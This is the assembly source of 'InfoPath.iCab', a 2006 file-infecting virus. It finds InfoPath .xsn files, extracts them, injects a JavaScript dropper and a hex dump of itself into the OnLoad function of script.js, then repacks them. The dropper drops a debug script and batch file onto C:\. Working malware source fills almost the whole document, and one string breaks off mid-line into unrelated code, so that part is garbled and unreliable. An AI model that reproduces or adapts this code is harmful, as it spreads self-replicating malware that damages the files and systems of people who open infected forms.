;;;;;;;;;;;;;;;;;;;;;;;;;;;;[Infopath.iCab];;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; InfoPath.iCab ;; by Second Part To Hell ;; www.spth.de.vu ;; spth@priest.com ;; written in February-March 2006 ;; ;; This virus is a binary macro-virus for Infopath. ;; Microsoft Office Infopath is (as the name already says it) in the Office-packet ;; since Office 2003. ;; ;; The virus infects any .xsn file with JS macros (standard). It hooks the ;; XDocument::OnLoad Function. If this function does not exist, the file stays uninfected. ;; ;; A .xsn file is a cabinet-archive including several files (like .gifs, .xsf, .html, .js). ;; ;; My virus searchs for any .xsn file in the current directory. ;; When it finds an file: ;; -> extracts the file ;; -> searchs the script.js (exists as standard) ;; -> searchs the OnLoad-Function ;; -> Write a dropper and itself as hex-values to the file ;; -> Closes the file ;; -> Make a new cabinet file ;; ;; More about Infopath and viruses, see my article about it in rRlf#7. ;; ;; Nothing more to say - see the (commented) source now :) ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;[Infopath.iCab];;;;;;;;;;;;;;;;;;;;;;;;;;;; include 'E:\Mario\Programme\fasm\INCLUDE\win32ax.inc' xsn_function_data_length EQU xsn_function_data_end-xsn_function_data xsn_dropper_code_before_length EQU xsn_dropper_code_b_end-xsn_dropper_code_before xsn_dropper_code_after_length EQU xsn_dropper_code_a_end-xsn_dropper_code_after extrac32_data_length EQU end_extrac32_data-extrac32_data MAX_PATH EQU 256 .data dwMyFileName dd 0x0 hCreateFileHandle dd 0x0 hCreFiMapping dd 0x0 stTempFile db 'iCab.tmp', 0x0 stTempDir db 'iCab', 0x0 stDotDot db '..', 0x0 stAnyFile db '*.*', 0x0 hSearchHandleAnyFile dd 0x0 stMakeCAB db 'makecab /F ' stDirective db 'iCabdire.txt', 0x0 stDirectiveDir db 'Disk1', 0x0 stDirectiveTrash1 db 'setup.inf',0x0 stDirectiveTrash2 db 'setup.rpt',0x0 infectedCab db 'disk1/1.cab',0x0 stScriptJS db 'script.js',0x0 hCreFiScriptJS dd 0x0 dwFileSizeScriptJS dd 0x0 hCreFiMapScriptJS dd 0x0 dwMapViewScriptJS dd 0x0 dwStartOfOnLoad dd 0x0 hDirectiveFile dd 0x0 dwFileSize dd 0x0 dwMapViewOffset dd 0x0 dwCounter dd 0x0 dwMemAlloc dd 0x0 dwMemAlloc2 dd 0x0 dwSplitCounter dd 0x300 stSplitCounter db '0110' hex_code_length2 dd 0x0 hDirectiveSearch dd 0x0 dwDirectiveCounter dd 0x0 trash_counter dd 0x0 bin2hex: bin2hex_1 db 0x0 bin2hex_2 db 0x0 db 0x0 byteswritten dd 0x0 hex_code_length dd 0x0 FALSE_F dd 0x0 trash: times 8 dd 0x0 xsn_extention db '*.xsn', 0x0 xsn_search_handle dd 0x0 xsn_function_data db 'function XDocument::OnLoad(eventObj)' xsn_function_data_end: xsn_dropper_code_before db 'var fso,shell,nxln,wsc,filee;' db 'nxln=String.fromCharCode(13,10);' db 'fso=new ActiveXObject("Scripting.FileSystemObject");' db 'file=fso.CreateTextFile("C:\\iCab.txt", true);' db 'file.write("e 0100' xsn_dropper_code_b_end: xsn_dropper_code_after db '"+nxln+"rcx"+nxln+"2000"+nxln+"n C:\\iCab.dmp"+nxln+"w"+nxln+"q");file.Close();' db 'shell=new ActiveXObject("WScript.Shell");filee=fso.CreateTextFile("C:\\test.bat");' db 'filee.Write("debug 10 jge bin2hex_inc_al ; If yes, increase AL: ; ASCII '0' = 0x30 ; ASCII '9' = 0x39 ; ASCII 'A' = 0x41 ; 'A'-'9' = 0x41-0x39 = 8-1 = 7 mov [trash_counter], ebx ; We did not need the retrun value pop ebx ; Get it back mov ebx, [trash_counter] ; Restore ebx binary_to_hex_RJ_1: add byte [bin2hex_2], al ; '0'+al shr ah, 4 ; ah = ???? ---- -> 0000 ???? mov al, ah ; al = ah push binary_to_hex_RJ_2 cmp al, 0x0A jge bin2hex_inc_al mov [trash_counter], ebx pop ebx mov ebx, [trash_counter] binary_to_hex_RJ_2: add byte [bin2hex_1], al mov ax, word [bin2hex] ; HEX-value to ax ret bin2hex_inc_al: add al, 7 ; al += 7 <- If al > "9" then ASCII-number + 7 ret DeleteAnyFileInDirectory: ; Removed all files in current Directory ; In: Nothing ; Out: Anything changed invoke FindFirstFile, \ ; Find *.* files stAnyFile, \ WIN32_FIND_DATA mov [hSearchHandleAnyFile], eax ; Save Searchhandle DeleteTempDirFiles: invoke DeleteFile, \ ; Delete any found file cFileName invoke FindNextFile, \ ; Search next file [hSearchHandleAnyFile], \ WIN32_FIND_DATA cmp eax, 0x0 jne DeleteTempDirFiles invoke FindClose, \ ; Close Filesearching [hSearchHandleAnyFile] ret GenerateExtrac32String: ; Generate String to extract the xsn file: %system%\extrac32.exe /e /a "%victim%" ; cFileName = Filename of victim ; Out: Anything changed invoke GetSystemDirectory, \ ; Get the path of System Directory system_dir_buffer, \ MAX_PATH xor ecx, ecx ; ecx=0x0 find_end_of_system_dir: ; Find end of System-Directory-Path inc ecx ; Increase ecx mov eax, ecx ; eax=ecx add eax, system_dir_buffer ; eax=system_dir_buffer+counter mov al, byte [eax] ; al=[system_dir_buffer+counter] cmp al, 0x0 ; al=0x0? jne find_end_of_system_dir ; If not, continue searching mov eax, system_dir_buffer ; eax=system_dir_buffer add eax, ecx ; eax=End of system dir path mov [end_of_system_dir], eax ; Save eax mov ecx, extrac32_data_length ; Write extrac32_data after system-path mov esi, extrac32_data mov edi, [end_of_system_dir] rep movsb ; Write! system_dir may be 'C:\Windows\System\extrac32.exe /e /a "' now xor ecx, ecx ; ecx=0x0 find_end_of_filename: ; Find end of filename of victim inc ecx ; Increase counter mov eax, ecx ; eax=counter add eax, cFileName ; eax=Victim-filename+counter mov al, byte [eax] ; al=byte [Victim-filename+counter] cmp al, 0x0 ; al=0x0? jne find_end_of_filename ; If not, continue searching mov esi, cFileName ; Write filename to end of system-string mov edi, [end_of_system_dir] add edi, extrac32_data_length rep movsb ; Write! system_dir may be 'C:\Windows\System\extrac32.exe /e /a "victim.xsn' mov byte [edi], '"' ; system_dir may be 'C:\Windows\System\extrac32.exe /e /a "victim.xsn"' ret CopyVictimToTempDir: ; Copy the victim File to "iCab\" ; cFileName=Name Of Victim ; Anything changed mov dword [cFileName-5], 'iCab' mov byte [cFileName-1], '\' invoke CopyFile, \ cFileName, \ cFileName-5, \ FALSE ret SearchOnLoadInScriptJS: ; Writes offset of OnLoad-Function to [dwStartOfOnLoad] ; [dwMapViewScriptJS]=Pointer to MapView Of the Script.JS ; [xsn_function_data]=Data of function-start ; xsn_function_data_length= Length of OnLoad-function-string xor ecx, ecx searchOnLoadLoop: mov eax, [dwMapViewScriptJS] ; eax=MapView of script.js add eax, ecx ; eax=current byte of MapView of script.js mov eax, dword [eax] ; eax=4 Bytes of MapView inc ecx ; Increase the counter cmp ecx, dwFileSizeScriptJS ; End of File jne con_OnLoadLoop2 ; If not EOF, continue searching pop eax ; Remove trash from stack jmp Not_Infect ; Close all and find next file con_OnLoadLoop2: cmp eax, "func" ; Is the current position a function? jne searchOnLoadLoop ; If not, continue searching mov eax, [dwMapViewScriptJS] add eax, ecx xor edx, edx continue_searchOnLoad_loop: mov eax, [dwMapViewScriptJS] ; eax=MapView of script.js add eax, ecx ; eax=current byte if MapView of script.js mov al, byte [eax] ; al=One byte of Mapview of script.js inc ecx ; Increase counter inc edx ; Second counter mov ebx, xsn_function_data ; ebx=xsn function_data add ebx, edx ; ebx=current byte of xsn function data mov bl, byte [ebx] ; bl=One byte of xsn function data cmp al, bl ; compare if they are the same jne searchOnLoadLoop ; If not the same, continue searching cmp edx, xsn_function_data_length-1 ; End of the string? jl continue_searchOnLoad_loop ; If not, continue searching mov eax, [dwMapViewScriptJS] add eax, ecx con_searchOL_2: inc eax cmp byte [eax], '{' jne con_searchOL_2 inc eax mov [dwStartOfOnLoad], eax ; Save the entry of the OnLoad-Function ret Generate_infected_code: invoke VirtualAlloc, \ 0x0, \ 0x12000, \ 0x1000, \ 0x4 mov [dwMemAllocInf], eax mov ecx, [dwStartOfOnLoad] sub ecx, [dwMapViewScriptJS] mov esi, [dwMapViewScriptJS] mov edi, [dwMemAllocInf] rep movsb mov ecx, xsn_dropper_code_before_length mov esi, xsn_dropper_code_before ; mov edi, [dwMemAllocInf+length of StartCodeOfVictim] ; Already right value rep movsb mov ecx, [hex_code_length2] mov esi, [dwMemAlloc2] rep movsb mov ecx, xsn_dropper_code_after_length mov esi, xsn_dropper_code_after rep movsb mov ebx, [dwStartOfOnLoad] sub ebx, [dwMapViewScriptJS] mov ecx, [dwFileSizeScriptJS] sub ecx, ebx mov esi, [dwStartOfOnLoad] rep movsb ret CreateDumpCode: ; In: [dwMemAlloc] = Hex Dump without breaks ; [hex_code_length] = Length of Hex Dump ; [dwSplitCounter] = Current position ; [stSplitCounter] = Current position in ASCII ; Out: [dwMemAlloc2] = Hex Dump with breaks ; [hex_code_length2] = Length of Hex Dump ; Splittes Hex Dump into 0x100-Bytes for debugging mov ecx, 0x30 mov esi, [dwMemAlloc] add esi, [dwSplitCounter] sub esi, 0x300 mov edi, [dwMemAlloc2] add edi, [hex_code_length2] rep movsb mov dword [edi], '"+nx' mov dword [edi+4], 'ln+"' mov word [edi+8], 0x2065 ; LineBreak + "e " mov eax, dword [stSplitCounter] mov dword [edi+10], eax add [dwSplitCounter], 0x30 add [hex_code_length2], 0x3E call Increase_stSplitCounter mov eax, [dwSplitCounter] sub eax, 0x300 cmp eax, [hex_code_length] jl CreateDumpCode mov ecx, 0x30 mov esi, [dwMemAlloc] add esi, [dwSplitCounter] sub esi, 0x330 mov edi, [dwMemAlloc2] add edi, [hex_code_length2] rep movsb sub [hex_code_length2], 0xE ret Increase_stSplitCounter: xor dx, dx mov eax, [dwSplitCounter] add eax, 0x30 mov bx, 3 div bx push ax ; Save ax call MakeToHex mov word [stSplitCounter+2], ax pop ax xchg al, ah call MakeToHex mov word [stSplitCounter], ax ret Search_End_Of_String: ; In: eax=Pointer to string ; Out: eax=Pointer to End Of String inc eax cmp byte [eax], 0x0 jne Search_End_Of_String ret MakeDirectiveFile: cmp byte [_cFileName], '.' ; Is it '.' or '..'? je MDF_FNF ; If yes: Dont write that to directive file cmp dword [_cFileName], 'iCab' ; Is it the Directive File itself? je MDF_FNF ; Also dont write that mov eax, _cFileName call Search_End_Of_String mov dword [_cFileName-5], 'iCab' mov byte [_cFileName-1], '\' mov word [eax], 0x0A0D mov ecx, eax add ecx, 7 ; "iCab\".length + 0x0A0D.length sub ecx, _cFileName add [dwDirectiveCounter], ecx mov esi, _cFileName-5 mov edi, [dwMemAllocInf] add edi, [dwDirectiveCounter] sub edi, ecx rep movsb MDF_FNF: invoke FindNextFile, \ [hDirectiveSearch], \ WIN32_FIND_DATA_2 cmp eax, 0x0 jne MakeDirectiveFile ret CheckIfAlreadyInfected: ; Search for a string 'iCab'. ; If not infected, return at the usual way ; If infected, get the return value from stack (trash) and jmp to Not_infect mov ebx, [dwMapViewScriptJS] xor ecx, ecx loop_CheckIfAlreadyInfected: cmp ecx, [dwFileSizeScriptJS] je ret_CheckIfAlreadyInfected mov eax, ebx add eax, ecx mov eax, dword [eax] inc ecx cmp eax, 'iCab' jne loop_CheckIfAlreadyInfected pop eax jmp Not_Infect ret_CheckIfAlreadyInfected: ret FillBufferWithZero: ; In: ecx: Size of Buffer ; eax: Pointer to buffer mov ebx, eax add ebx, ecx mov byte [ebx], 0x0 loop FillBufferWithZero ret .end start